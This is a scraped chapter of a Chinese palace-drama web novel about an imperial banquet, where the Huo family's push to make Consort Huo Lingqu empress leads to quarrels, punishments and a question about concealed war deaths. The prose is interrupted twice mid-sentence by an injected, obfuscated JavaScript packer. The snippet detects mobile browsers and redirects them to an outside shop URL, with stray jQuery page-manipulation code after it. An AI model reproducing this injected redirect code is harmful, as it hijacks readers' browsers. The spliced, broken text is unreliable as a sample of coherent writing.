乐邑长公主闺名嬴纤若,她昂昂下巴应承:“是我,没想到兜兜转转十多年,灵渠你还是进宫和皇兄再续前缘了,可你总得有点自知之明,否则就平白给朝野惹笑话了。” 晏霁之料得可真神啦,霍灵渠感叹非常,眼眸弯弯笑颜如花:“我倒觉得纤若你可有先见之明,记得温献皇后在世时,纤若曾言‘我堂堂公主之尊难道还要看她霍灵渠的脸色?’兜兜转转十多年,如今到底还是应验了呢。” 氛围瞬间变了味,湘王刚喝杯酒又再度喷出来,霍巨浪捂脸,驸马爷薛述聪一个激灵,在场多数人都能猜到要掐起来了,皇帝只得示意让薛家拦住。 “薛述聪你给我滚开!”童年都不能忍的事,乐邑长公主此刻如何能忍,没过脑子就想撸袖管冲上去干架结果被驸马死死拦着,气得她怒火飙升口不择言:“别以为我不知道小时候你对霍灵渠就有意思,五年前她在撷芳馆时你都快把腿给跑断了——” 霍灵渠打断她曝料:“说的好像你七岁时做的香囊在七夕那天是送给你相公了。” 场面僵住,正徽帝嬴忱璧想阻拦都省了,霍擎憋笑想打嘴仗果然知己知彼最有趣,显国公夫妇双双嫌丢脸,想阻拦也来不及,乐邑长公主活活被憋住立时反击:“你胡说八道什么,难道你七岁那年做的荷包是送给我皇兄的吗?” 霍灵渠坦荡荡:“是啊,当时我和嬴忱璧定亲了,我做荷包当然是送给他。” “你六岁的时候呢?我明明记得你给六皇兄和晏霁之都送过香囊,六皇兄还到处炫耀,还有霍舒窈当年也给四皇兄送过香囊,也是七夕那天送的。”乐邑长公主嘴皮溜得没拢住,随着她话音落地,整座大殿鸦雀无声。 穆国公夫人崔氏都觉尴尬,霍巨浪再捂脸,怪只怪童年太疯;魏王绷紧脸真后悔没拦,霍舒窈俏脸慢腾腾涨红,低头装鸵鸟死活不面对婆婆和丈夫。 晏霁之腹诽他猜测乐邑长公主会出头很简单,这出戏里只有长公主适合搅和,而三位长公主中唯有乐邑最有可能掺和,可他真没想到她俩还真是没点顾忌啊。 霍海啸镇定忽略这点小插曲把话题拉回:“乐邑长公主想必是误会了,倘若圣人和陛下皇恩浩荡将继后的位置赐予霍家,霍家必将奏请贵妃晋位,贵妃的想法有何不妥?” 相互揭短的场景跳过,在座众位把偷笑的心思忍住继续看热闹,乐邑长公主真觉虚伪:“你敢发誓你愿意舍掉自己的亲闺女帮堂妹吗?父皇和皇兄还有满朝大臣都看着,除非你立誓将来不管什么原因都绝不反悔,否则就是在玩把戏,你敢吗?” 霍海啸平静起誓,穆国公霍秦川紧随其后:“启禀圣人、陛下,臣也立誓:若皇恩浩荡将继后位赐予霍家,臣必奏请贵妃晋位,若臣有反悔就请朝廷将臣罢官、永不复起。” 金碧辉煌的大殿内瞬间沉静。 一再当众表态立誓还能反悔吗?认定穆国公在耍把戏的看客们再不相信他能舍掉亲孙女也疑窦丛生,好些官眷看向穆国公夫人婆媳就发现她们很平静,再看房副相父子也淡定,真奇了怪了,他们究竟是耳聋没听见还是都在走神魂游太虚? 房副相哪能看不明白殿内众位的古怪怀疑,可谁又相信他们本就没想法。太后给霍蓁蓁相看的第二天他就约穆国公和孙女婿会面表示不赞成,未料亲家也没意向,反而让他诧异;到底是外人看得想当然了,忘记乃至就没想过霍家捧霍蓁蓁时就是被迫赶鸭上架。 只是现在又有贵妃想晋位,霍家处在漩涡中不能抽身,他家也将进退维谷,唉。 二回表态,晋王怀疑有诈也困惑,庄太妃心里浮现个隐约猜想,鞠太妃就坚定的不信,事出反常必有妖,肯定有诈。连霍雄鹰都不信,他能相信他爹也不能相信他大哥啊,霍海啸在他眼里都黑成碳了哪会发誓就能洗白? 魏王掂量穆国公能有多少真心;霍巨浪也仍然有疑,而他娘和长嫂都清楚的情况,他却还不知道就是他大哥故意在隐瞒他,正如晏霁之猜测那般,霍海啸生气了呗。 建威侯夫人焦急扯丈夫,穆国公捧孙女可再耗六七年,皇后才能有转机;可穆国公若想硬捧贵妃晋位哪儿还有可能让他们拖着?建威侯示意夫人冷静,他再看看形势考虑。 郭皇后悲愤屈辱得眼圈都红了,一个没有清白的贵妃都要硬捧,霍家就这么迫不及待吗?令愔夫人蹙眉,她旁观都觉得霍家欺人太甚,踌躇着真想再劝劝陛下压压霍家的气焰。 翁美人心情还行,她已经郁闷过最多就再郁闷遍嘛。杭婕妤忽然想起往事,陛下和皇后成亲满三年,郭皇后都没有怀胎,忠毅伯府送珍修仪入潜邸,没多久,皇后将她纳进潜邸。 陛下坚持要嫡长子,给妾室们灌避子汤;郭皇后终于怀胎,妾室的避子汤也没停,直到郭皇后诞下嫡子又等到大皇子满周岁,陛下才把妾室们的避子汤给撤下。 自潜邸到皇宫,已故的珍修仪有多狂?杭婕妤抬手搭在小腹,她怀胎了而珍修仪没动静,她就变成对方的眼中钉肉中刺,几番艰险避过珍修仪的暗害才诞下大公主。 虽然头胎生的是女儿,杭婕妤也没有可惜遗憾,慢慢再生就是。圣人禅位给陛下,她是真的想都不敢想竟然能有这种好事;正徽元年,她和已故的珍修仪同时被封为正四品婕妤,珍修仪满心想要高位更不把她看在眼里,对于当年与她同品阶恨得咬牙切齿。 皇后和令愔夫人在正徽元年时前后脚再有孕,她不敢,皇宫比潜邸复杂诡谲得多,她怕没在宫里站稳就再怀胎可能会被害得连命都没了。 她就自己私下悄悄喝避子汤,一避避四年避到如今,霍家也愈发狂妄跋扈。杭婕妤抬眼瞥过眼前的霍家人,珍修仪对她们虽然张狂好歹对陛下温柔,最终还不是一条白绫上路;霍家竟敢践踏皇家颜面欺压到陛下头顶,还想嚣张几年,又还能狂几年呢? 平原大长公主烦闷询问丈夫,显国公未应,他刚意识到他想岔了,穆国公和霍海啸根本没耍把戏,因为他们没得选了只能把贵妃扶上凤座。 已经舍掉个侄女,霍秦川若再想舍掉个侄女必然得和霍漓江翻脸;霍灵渠又已经是贵妃,若是撇掉霍贵妃再捧位霍皇后,贵妃还能和皇后和睦相处吗?自家人闹得两败俱伤更可能会被外人趁虚而入,何必呢?反正都是霍氏女。 更何况若是太后、皇后、位同副后的贵妃全出自霍家,霍家还是当朝第一豪族,霍秦川做当家人考量的恐怕就不是霍家何等鼎盛而是很可能会被圣人和陛下连根拔起。倘若不扶持贵妃晋位,凤座就得拱手让掉,否则内忧外患,霍秦川他已经没得选了。 至于贵妃的过往?是块绊脚石,但霍家稍微用点力就能搬开,根本不算什么事。 显国公还算平静,继后的位置已经给定霍家,是哪个霍氏女对他又没影响。在场眼界手腕合格的老狐狸同样都看明白了,还是有好几位头疼的,难道真要放纵贵妃晋位吗? 吏部薄尚书苦恼挠手,须发花白的户部尚书和任兵部尚书的武襄侯各自隐晦往上看,可看几眼都愁,皇帝陛下摆明就愿意,圣人也不反对,态度明明白白的。 他们也明白圣人为何不反对,没必要啊。继后位已明确给定霍家,是哪个霍氏女有什么差别?再者凭贵妃的往事,圣人不知能做多少文章利用,可比霍家其他姑娘有用得多。 那么就变成他们这群大臣的难题了,以贵妃的往事大臣们必须反对贵妃晋位。可就怕真反对起来会星火燎原、控制不住事态继而闹得朝堂掀起腥风血雨;可假若只是配合着演出给天下看的戏码,难道他们真要放任让霍贵妃登顶凤座吗? 乐邑长公主回过神,想揭破他们的虚伪时,多数人都还在疑惑或深思之际,沉寂的殿内响起尖锐喊爹声,霍鸳娇措辞强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贱货烂货?直言无忌应是心中最真实的想法了,霍灵渠想。而霍秦川眼中冒冷意,霍漓江和霍海啸眼里就是在冒寒气,霍枫叶直直盯着手里的破旧荷包仿佛丢了魂。 晏霁之拿起今早女人亲自给他戴的玉坠仔细摩挲,霍灵渠若看见就知道这是他生气时令自己平静。霍雄鹰跳起来要对骂被二哥按住,魏王都冷脸,好歹是他悉心照料庇护的女人,当他面被如此轻践谩骂,他岂能当没事人?! 霍太后收起赖洋洋的姿态想处置时被抢话,霍才人霍鹣娇助阵:“对,若是重家风的人家有女眷堕落做娼妓连累家族都受羞辱可是要让这贱人自缢以全家族声誉的。 咱家还肯让三姐在宫里安稳度日已经很仁慈,如果再纵容三姐不知好歹痴心妄想还能有规矩体统吗?我也绝不同意,爹你想再偏袒这种侄女就别认我们。” 班丞相、两位副相、几位尚书等人打量穆国公,传言霍秦川最宠爱这两个庶女,眼前所见宠是绝对没跑,但疼爱…真疼爱能把女儿教养成这么副德行? 还有少数女眷怀疑这是穆国公夫人捧杀庶女的手段,但多数看客还是感慨或可怜崔氏,穆国公宠那位娉姨娘及其生的庶女是出名的,这会儿算是彻底见识甚至涨见识了,直截了当威胁亲爹自然是倚仗得宠有底气,瞧瞧这都快要骑到亲爹头上了。 霍太后便再忍耐会儿,霍雄鹰再要对骂又被按住,乐邑长公主想嘲笑也被驸马按住了:“圣人都没说什么就坐着看戏,让他们霍家自己窝里斗呗,你看看大家都这么想的。” 殿内出现种短瞬的诡异的安静,穆国公霍秦川平静几息时间,没做理会而是向太上皇和皇帝请罪:“臣庶女胆大妄为竟敢置喙继后人选,臣教女无方还请圣人、陛下降罪。” “霍才人是皇帝的嫔妃,皇帝做主吧。”太上皇笑得无伤大雅,嬴忱璧向父皇应后处理:“既然穆国公的两个女儿都态度坚决,穆国公就给女儿个交代免得伤及父女情。” 霍秦川再告罪:“臣斗胆想请陛下降旨令霍才人与懋郡王府二奶奶闭门思过一个月。” “爹?!!”姐妹俩异口同声,刺耳的尖叫冲击着在场每位的耳朵,愗郡王妃即霍鸳娇的婆婆急忙按住想让她道歉赔罪反被狠狠推开,她刚想发飙,婆母和丈夫又要拦她,故此,霍才人霍鹣娇率先和父亲对峙:“你爹真疯魔了吗?你要是——” “闹够没有?!”霍秦川冷冷盯着她:“霍才人真想即刻与你父亲断绝父女关系吗?” 霍鹣娇霎时就有点被吓到,她姐姐霍鸳娇心里的怒火也稍微弱截,断绝关系这种摆明唬她们的话她哪里会信,但察觉到父亲可能真动怒了,她不好往亲爹的怒火上撞;趁她婆婆和丈夫怔住,她得到空隙就找帮手施压:“蓁蓁,你和振羽说话啊!” 满殿的视线再次集体瞩目霍蓁蓁,众目睽睽,佟梦姿犹豫不知是否再该阻拦女儿,她觉得两个侄女都在理,可她真看不懂大伯子在玩什么把戏;至于断绝父女关系,她当然不信,这就是被霍鸳娇姐妹俩一再顶撞后怒火上头想吓唬女儿挽回点颜面。 霍蓁蓁压住砰砰乱跳的心,她娘犹豫时她就站起来了;看得懂伯父生气也没在意,这是她大伯又不是她爹,只要她爹能向着她就行了。现在她必须争取,可是紧张,不由自主磕绊:“我、我大姐……我、我是说二姐和四姐都有道理。 我大姐在青楼里做过娼妓又给我表哥做过四年多小妾,她能得封贵妃已经是圣人和陛下皇恩浩荡,皇后乃是国母要母仪天下,她如何能担当得起? 捋顺就通畅多了,霍蓁蓁缓缓气再批判:“大姐做贵妃已经是她在后宫的极限,她敢再妄想就是不知好歹应该管教,大伯糊涂竟然纵容也该向圣人和陛下反省才对。” 郭皇后捏紧丝帕悄悄擦擦鬓间的汗水,这一刻真心希望霍蓁蓁和霍鸳娇姐妹能有点用处。她母亲建威侯夫人期盼之余更在心中冷笑,霍鸳娇她们是最受宠的女儿就罢了,一个侄女也敢和当家人公然唱反调,看她将来落到个什么下场。 “振羽!”霍鸳娇稍等几息时间没见霍振羽紧跟表态,当即点名绝不让他钻缝隙装死;她当然清楚这堂弟是不愿意决裂,他和霍灵渠童年相处过四年多少有点姐弟情,可这种时候能由得他退缩吗?她就不信这堂弟还能舍掉同母亲妹反而向着异母姐姐?! “……我、我大姐在外漂泊十多年,姐姐沦落过风尘已经很苦,我觉得家里该给补偿,我想大伯也是觉得应该补偿我姐所以才这么纵容,但……”霍振羽硬着头皮站起表态,只能豁出去对祖父说:“但得有分寸,若贵妃晋位只会遭天下耻笑,祖父。” 补偿两字倒是将在场困惑的许多人点醒,然后就觉得有些不可思议,穆国公和霍海啸能有这么好的心肠?佟尚书和许多同僚放眼打量可怎么看都觉得不像啊。 霍擎老太爷摆手让他们都坐:“行啦行啦,贵妃就是问丞相:她将来有机会入主中宫吗?圣人和陛下都说了这就是家常闲话不作数,你们做啥呢,都坐下。” “不行!!” 霍太后突兀而猛烈地反驳父亲,积压的怒火犹如岩浆爆发般席卷而来:“皇帝!给母后颁旨,朝野有敢妄议贵妃过往者杀无赦、愗郡王府夺爵、霍才人打入冷宫、霍鸳娇鞭笞一百;还有当年害灵渠的账,霍佟氏及儿女赐死,佟家流放辽阳。” 63. 第63章 整座大殿顷刻间仿佛被凝住,突如其来措不及防的冲击基本把所有人给打懵了。 正徽帝嬴忱璧有心想惩戒愣是应不了,太上皇冷不防都懵了懵,郭皇后简直不可思议,晋王很怀疑她头脑发昏还是真想和执掌家族的长兄硬刚?如此狠厉处置长兄疼爱的庶女,她还想指望穆国公没芥蒂吗?霍秦川威胁断绝父女关系,他当然也不信。 魏王信的,霍秦川根本不在意庶出的死活,偏偏装得把庶女宠到压过嫡女,王八蛋! 晏霁之心情好转,憋笑对霍海啸耳语:“太后真有魄力。”惹得霍海啸严肃瞪他。 霍灵渠心里酸酸涩涩的,穆国公霍秦川很平静,意料中事没有一丝丝意外;霍擎老太爷就嫌闺女糟心啊,霍漓江是嫌过很多回都要再嫌这妹妹不长脑,你不会办事就别瞎搅和。 霍雄鹰只顾对庶姐妹的处置也心情好,可算能把非得按着他不让他说话的二哥给推开。霍巨浪头疼想是他太小瞧姑母了,还好没殃及顺郡王妃和英王妃。 “皇帝?!” 绝大多数人还没醒过神,霍太后没有耐心耗着已再喊皇帝,愗郡王夫妇刚跑到半路还有佟尚书刚站起想要辩白都被急急刹住,嬴忱璧示意他们莫动再安抚太后。 “母后稍安勿躁,贵妃是朕的贵妃,贵妃如何岂能容臣下置喙?霍才人和嬴二奶奶僭越,确实该处置但不差这一时半刻,朕问过父皇和国丈的意见再惩处量刑也不迟。” 霍太后忍住翻滚的怒气才答应,发懵的看客们彻底回神然后就被太后的严酷给震惊了,有那么多前情铺陈足够深思熟虑,谁相信太后不是认真的?耍花样也没得这么耍啊。 鞠太妃真怀疑她哪里着魔了竟要为个做过娼妓没有清白的侄女和长兄翻脸?她当然不信穆国公能舍得最疼爱的女儿和嫡长孙女而偏向侄女,刚才嘛,必定在耍把戏。 庄太妃倒理解,她曾细细研究过,霍宝鸾就这种性子;她真正在乎的,她绝不是算计对方能给她带来多少利益再疼爱而是既然是她疼爱的就绝不容许别人说半点不好。 她将霍灵渠视如亲女,那么她就能把最好的都捧给霍灵渠,做过娼妓没有清白这些对她根本没影响;她也不会管强捧贵妃登凤座需要霍家付出多少代价,她不在意,反正她疼爱的侄女就得拿最好,穆国公不可就是清楚妹妹的德行才迫不得已舍掉亲孙女。 兴献侯夫人佟梦姿慌乱起来被儿子劝住,霍振羽刚刚想辩解就被外祖父拦着让他冷静,霍蓁蓁害怕失措也被她亲嫂嫂稳住了。英王妃进入状态真以为是她妹妹做的,慌忙问丈夫该怎么办,英王不想搭理,还得晏煦之的媳妇桓炜彤安抚伯母。 霍舒窈爽歪歪,虽然落实的惩罚肯定会轻很多也爽啊,她这偏心爹就得要姑母压着。 乐邑长公主心中涌起不愿意承认的羡慕,穆国公和霍海啸虚伪,但她信太后对霍灵渠的疼爱维护都是真心的,就是那种无论你发生多坏的事给家族蒙多大耻辱也会始终疼爱你。 她猜都不用猜就晓得她的母妃绝对做不到,可能她自己对自己的孩儿也做不到,可太后对疼爱如亲女的侄女偏能做到,她想,温献皇后若在世应该也能做到。 当时霍灵渠才三岁啊,比她四姐小整整四岁,可温献皇后偏要挑年仅三岁的霍灵渠给七岁的四公主做伴读;其实哪是做公主伴读,分明是视作亲女疼爱,如珠如宝疼爱着。 她五岁启蒙的伴读也就因此变成霍舒窈,霍舒窈死活不服气闹着也要做公主伴读,哪儿有一家出两位公主伴读的理儿?可有当时是晏贵妃的温献皇后和还是德妃的太后在,父皇轻易就同意了,霍舒窈轻轻松松就做了她的伴读,她自己的伴读根本由不得她挑。 乐邑长公主心里笑,温献皇后在世时,霍灵渠哪里只是霍家掌珠,是皇宫里的掌珠呢;她三姐生前多嚣张跋扈对上霍灵渠都得绕道走,任皇后生前都不敢对霍灵渠说句重话。 霍鸳娇终于意识到姑母也还向着霍灵渠,忽然打寒颤,如梦初醒般想跑向父亲求助却被丈夫拦住。霍才人霍鹣娇可没谁阻拦她,想明白姑母竟然也着魔了,不敢往姑母的枪口撞,跑向父亲求庇护就被穆国公喝住:“圣人和陛下面前,还要放肆到什么时候?” 晏霁之默默退远些,有意无意靠近霍灵渠,看得英王晏墉真想冲过去把他拎走。 也注视着的皇帝凝视几眼后请示父皇,太上皇温和道:“你母后在气头上难免失掉分寸,霍才人和嬴霍氏虽该惩处也得顾念穆国公的情面,皇帝酌情惩戒吧。” 正徽帝嬴忱璧应承过再问霍老太爷,霍擎可实在:“禀圣人、陛下,太后的前两条提议必得否掉,对霍才人姐妹还请陛下能开恩考虑小惩大诫;至于当年害贵妃的账还没彻查过,太后在气头上行事草率不能作数。” “爹?!”霍太后紧紧盯住老爹警告:“你再重复遍,女儿没听清楚。” 霍漓江真想骂她,你摆在台面上处置得这么狠会让我闺女多受多少指指点点流言蜚语?霍擎老太爷都想这么回怼,但他都不怀疑太后闺女能放话有谁敢多嘴就全部杀了,唉。 “禀圣人、陛下、太后,老臣想问过贵妃的意愿。” 皇帝爽利同意,霍太后就再忍下,霍擎是不想把宝贝孙女扯进来可没得选,否则哪还能拦得住怒火中烧的闺女?结果他转身发现混球又堵在灵渠身边,真糟心想敲两记拐杖。 “贵妃,您以为该请陛下颁旨禁止朝野任何人谈论您的过往吗?” 霍灵渠温柔答不必再规劝姑母:“姑母疼爱灵渠,灵渠当然明白,可此事堵不如疏。我和晏霁之四年多的过往再禁止议论都抹不掉,何不如就干脆坦荡面对? 进宫前霁之跟我说:一件令人尴尬难堪的事,只要自己不难堪,尴尬的就是别人。灵渠觉得很有道理,而且我看祖父就是这样的;所以我们只管坦坦荡荡就好了,姑母。” 只要自己不难堪,尴尬的就是别人?!贵妃你和晏霁之可真有种,好些人险些被呛住;英王晏墉可尴尬,他都替他们难堪,脸皮能不能别那么厚,他还是要脸的。 魏王心里骂晏霁之没脸没皮这就是不知廉耻,霍太后被憋得不上不下的,穆国公霍秦川忍笑,霍海啸想把教坏他妹妹的混球揍顿,霍漓江挺平静,霍擎老太爷哼哼唧唧送这混球几道死亡般的凝视,晏霁之淡定:“圣人和陛下也觉得臣教贵妃的道理没错吧?” 太上皇忍不住轻咳声,嬴忱璧道:“能助贵妃心情疏朗开阔就好,母后意下如何?” “好,禁令就算了。”霍太后憋闷忍让,皇帝便问国丈还有事要问贵妃吗?霍擎应道:“当年害贵妃的阴谋,娘娘以为应该彻查拿到证据后再定论吗?” 霍灵渠赞同,霍太后不同意:“还有什么可查,除了霍佟氏和佟家之外还能是谁?” 佟尚书按住妻女和外孙想出面辩解被贵妃抢先一步,他还以为贵妃有证据时,霍灵渠说:“应该不是太太,霁之跟我说他二姨既非歹毒之辈又没多少城府,没那么恶毒的心思也没本事谋划当年的阴谋,真正的幕后黑手应该是外人,我信。” 看客们想难道这就是霍贵妃你多年一直没有报仇的原因吗?你特么被男人冲昏头了吧。魏王皱眉怀疑她扯谎的原委,霍舒窈气得捂眼,感情她白白提心吊胆一两年。 晏霁之默默腹诽:我明明是说只有七八成把握和佟梦姿及佟家无关,你故意玩我呢。 霍太后愣是被气得心口疼,霍雄鹰追问哥哥到底和二婶还有佟家他们有关系吗?霍巨浪没心情搭理,真想把晏霁之拖到殿外揍顿,给他妹妹灌的什么迷魂汤。 “对对对,霁之说的对!”佟梦姿激动得忙赞同再辩白,英王妃总算觉得儿子还有用,佟尚书可忧心忡忡,他们没做过是一回事,可贵妃遭十多年苦难、得和他大外孙有多深厚的情谊才能愿意被按住报仇的心思而相信害她的人和佟家无关? 佟老夫人兀的冒出个念头,她可以利用霍灵渠对这孽畜的情给她孙女妙兮谋淑妃位啊。霍蓁蓁是没什么感觉,表哥帮她们本来就应该的嘛;霍振羽说不出什么滋味的看看这表哥,晏霁之垂眸苦涩,他明白她是想帮他兜住和生母还有这批亲戚的关系。 “对什么对?!”霍太后被烦得眼晕,皇帝截话:“母后,不查证就定论确实有失稳妥,倘若真是兴献侯夫人和佟家谋划,人就在母后眼前还怕他们逃脱吗?可若是真有外人在幕后操纵,恐怕绝非只想害贵妃那么简单,朕恐霍家危矣。” 嬴忱璧循循善导:“母后就允准穆国公和兴献侯彻查之后再行处置吧。” 霍太后深呼吸再忍:“好,就依皇帝的意思,但剩下三条,皇帝必须得依母后的。” “母后,众口铄金积毁销骨,您最疼爱贵妃只当替贵妃的声誉再退让步,倘若霍才人姐妹初犯就如此重刑,她们和贵妃是堂姐妹,世人悠悠众口会将贵妃编排成什么样?” 嬴忱璧有心惩戒自然不会再问霍灵渠的意见免得轻轻揭过,做主道:“就按朕意,霍才人与其姐毁谤贵妃辱及朕躬,念在国舅爱女情深,霍才人降为正六品秀仪闭门思过一个月,嬴霍氏鞭笞二十、上半年不得再进宫门,懋郡王对家眷管教无方降爵为愗郡公。” 皇帝没给商量余地,霍太后不好当众再反驳皇帝只得捏紧拳头忍了。 然而在场多少人认为皇帝会轻拿轻放?懋郡王府直接降爵,这惩处可是重罚,多数大臣怀疑陛下有意想敲打霍家还是想挑起霍家内讧?班丞相真觉得陛下按理不该借题发挥。 晋王顺手就向湘王挑衅,湘王憋闷忍住。魏王就没有延伸瞎猜,换他大概也这么处置,嬴忱璧没别的意思就是想护着贵妃,且不论情谊,嬴忱璧对贵妃有愧还愧意很深。 霍海啸几不可察地皱皱眉,霍鸳娇姐妹就激烈多了,她们可觉得姑母气头上的命令只需哄姑母气消了或者让爹求情就能揭过,哪能真当真作数?霍鸳娇离得较远又有丈夫阻挡她,霍鹣娇就在父亲面前,她急忙抓她爹的手臂摇晃,穆国公毫不拖泥带水地推开再请罪。 “陛下,臣教女无方恳请陛下一同责罚。” “国舅言重,虽是你的庶女但已出嫁多年,她恣睢狂悖怎能算你的过错?”嬴忱璧自然故意迁怒好让懋郡公夫妇知道痛懂管教,扬声吩咐:“来人,送霍秀仪回芷筠斋闭门思过,懋郡公待二儿媳领过鞭笞就带家眷们出宫吧。” “陛下、陛下您息怒就宽恕臣妾——”懋郡公还没带家眷走上前,霍鹣娇见她爹竟就不再吭声只能自己求饶,皇帝打断她:“霍秀仪想再降到七八品还是想让朕驳掉你父亲的情面将你打入冷宫?朕已然处置,你还要胡搅蛮缠,你眼中还有朕吗?” 霍鹣娇看眼父亲立即跪地求饶,霍鸳娇见状只能熄掉求饶的心思先等陛下和姑母气消,对降位降爵反而没太在意;姐妹俩同个想法,反正有她们爹在,很快就能再升位份。 皇帝摆摆手,总管太监麻溜指挥两个小太监护送霍秀仪,霍鹣娇只得郁闷离开。生生被降爵的愗郡公憋住泪带家眷上前谢恩,得到允准后迅速带妻儿们告退。 闹剧落幕,落得如此安静,安静得好像不曾翻起过波澜。 霍蓁蓁心里怪不是滋味还有些空落落的,这两个堂姐几刻钟前还嚣张得敢威胁亲爹呢,怎么就这么轻易败下阵来?这大伯为何不帮最宠爱的俩女儿求情呀,她还有机会吗? 翁美人拍拍心口悄悄吁口气,她还以为霍鹣娇仗着霍家撑腰能赶在她前面升位份呢,没想到辱骂贵妃堂姐就把自己折进去了,她总觉得太后不会再纵着她了。 令愔夫人打消规劝的心思,这次陛下从重处置,短期内不会再驳霍家的脸面了。 郭皇后捏帕擦擦额头的冷汗,她就觉得浑身冒寒气,她都没有怀疑过霍鹣娇仗着太后姑母能在宫里过得多风光,何况还有穆国公在,太后怎么就能说的出要把这侄女打入冷宫?都是亲侄女呀,难道太后只为霍灵渠就不在意其他侄女的死活吗? 有此疑虑的观众不少,但有一点没人会再有迟疑:霍家是真要把贵妃捧上凤座啊! 嬴忱璧喝杯酒,刚想让贵妃到他身边坐,太上皇提前发话:“贵妃怕深宫寂寥会煎熬想有盼头才盼凤位,可册立继后也就这几年的事,贵妃盼过凤座该盼储君了吧?” 郭皇后愣下悲痛起来,顺理成章毋庸置疑的推论,她自己都猜得到可还是忍不住悲痛。 特意关注她的官眷们看来就觉得皇后真有点拎不清,宫里三位皇子,令愔夫人既最得宠又育有两位皇子都还平静着,你急什么啊非得在霍家面前把态度明晃晃摆出来。 “臣妾回答前您和陛下能宽恕灵渠的逾矩吗?”霍灵渠问,太上皇和蔼表示无妨。 “陛下降生时非圣人嫡出,继承大统前才记在养母兼嫡母名下成为嫡子;圣人降生时亦非肃宗皇帝嫡出,是因您成为储君、您的生母被册立为皇后,由此您才成为肃宗皇帝嫡出。虽然礼法推崇嫡长子承继,可古来多少帝王有几位是出生时就有嫡出身份?” 霍灵渠舒悦的语调如泉水叮咚滴在殿内角角落落:“做皇后就认为她的儿子该是储君,这想法本身就很荒谬。郭皇后有大智慧,清修佛缘,欲遁入空门,想给娘家和儿女修一世清闲富贵,霍灵渠没有皇后的超脱还恋恋红尘,但也明白盛极而衰的道理。 月盈则亏、水满则溢,霍家得圣人和陛下器重已至鼎盛,倘若再贪得无厌唯恐会令家族恣睢狂悖倒行逆施,非福也。细水长流方能源远流长,灵渠盼继后位,足矣。” 一席话滴水不漏全然挑不出刺来,看客们哪怕不信都不能不赞声贵妃答得漂亮啊。 单纯想得深或想坐收渔利抑或与霍家不对付乃至怕贵妃上位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459255|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老狐狸们多少冒点疑虑,倘若没人在背后指点而是出自霍贵妃自己的心意,霍家这场好戏只怕要生变数了。 霍海啸弯弯唇,霍擎老太爷还是很骄傲的挺挺腰杆,皇帝看贵妃的眼神不自觉温柔,太上皇面若有感慨欣慰:“贵妃小小年纪就如此通透,好,好啊。” “那,圣人可以让丞相回答我的问题了吗?相爷都拖许久啦。”霍灵渠带着点撒娇意味,太上皇哈哈大笑:“好好好,丞相啊,快给贵妃吃颗定心丸吧。” 班丞相颔首应是,对霍贵妃道:“禀贵妃娘娘,皇后乃是国母须慎而又慎,他日郭皇后请辞,您是否有资格问鼎中宫?老臣以为虽然不必百官商议也得慎重。 老臣需和两位副相、六部尚书、蜀王、魏王、晋王、湘王、镇南侯、英王、穆国公、显国公、护国公、郢国公、昌隆侯、建威侯等众臣共议过方能给您答复。” 情理中意料中的答复,班丞相哪能真给明确肯定的答案,可丞相把事态整得如此慎重,除建威侯之外有没有被点到名的大臣们多半都嫌头疼,霍家只需各个击破就行了。 吏部薄尚书和户部尚书对视眼,房副相和晏副相也不经意相视眼,都愁,丞相把事情整这么严重也是没办法,他们这群大臣骑虎难下,怕拦不住,可总不能真让贵妃晋位。 霍灵渠敛衽施礼谢过,踌躇道:“我还有件事想求丞相,相爷能别拒绝我吗?” 班丞相心塞塞,贵妃真是要跟他耗上了:“娘娘,老臣对您是外姓,恐怕不妥。” “我知道此事或许唐突,但我想丞相定然有想看到国家百姓安康的心,所以冒昧相求。”霍灵渠态度诚恳,班丞相看来贵妃可狡诈:“贵妃谬赞,老臣若能为社稷百姓的福祉尽点绵薄之力必定赴汤蹈火在所不辞,担不起贵妃的求字,但请娘娘吩咐。” “丞相言重了,只想请您莫推脱我的请求。”霍灵渠问:“七年前雁门关之围,战事结束后朝廷记录的死亡将士是14796人,实际真正的死亡将士有635748人,对吗?” 满殿皆惊,太上皇眉眼间的和蔼皲裂,嬴忱璧古怪,庄太妃怀疑霍家在玩什么把戏,看客们收起看戏的心态,班丞相更瞬间变脸近乎质问地看向穆国公,霍擎祖孙四位都怪异呢,穆国公霍秦川眼神否决再向看晏霁之,晏霁之摇头,他也全在意料外。 而魏王想警告她都只能忍着以防露出端倪,只能盼这女人可别头脑发昏。 “老臣敢问贵妃娘娘这是谁告诉你的?”班丞相定定心神,霍灵渠规避道:“北境大营,帅帐里的争执声都飘出半里地外了,记得当时郢国公曾率军队弛缓边境。 郢国公当时应该在场,护国公坚持据实禀奏,朝廷派的监军则坚持要把死亡数压到万人以下,朝廷两线作战还有西南叛乱猖獗,战事惨烈死伤惨重会动摇民心不利于社稷安稳,是郢国公两厢调和才争取到14796人的死亡数字。” 霍擎老太爷心里直叫乖乖,真不愧是他的宝贝孙女;穆国公幸灾乐祸真有点同情丞相,显国公比丞相还嫌晕,霍家和贵妃在宫宴前真的没见过面通过气吗? 班丞相得把事情往下压自然省略叫郢国公,压住头疼和猜测贵妃用意的心思,转向太上皇和皇帝请示,嬴忱璧缓和道:“七年前,贵妃在北境?” “是啊,雁门关被围困大半年,郢国公率军队进驻代县,百姓们夹道相迎,我带妹妹还在人群中远远见过郢国公。”霍灵渠哀伤而笑:“我的少年郎在北境抗击外敌。 雁门关之围解除,他带我看过雁门关外最蓝的天,最广阔的草原,还有塞北最美的景、最和煦的风,天苍苍、野茫茫,风吹草低见牛羊①。” 晏霁之低头捏捏眉心,嬴忱璧沉默得几近沉闷,魏王每每想到这事就觉得她可真有本事,血海深仇未报竟然还真有心情和男人花前月下?! 太上皇使个眼色,班丞相转向霍贵妃问:“娘娘想让老臣做的是?” 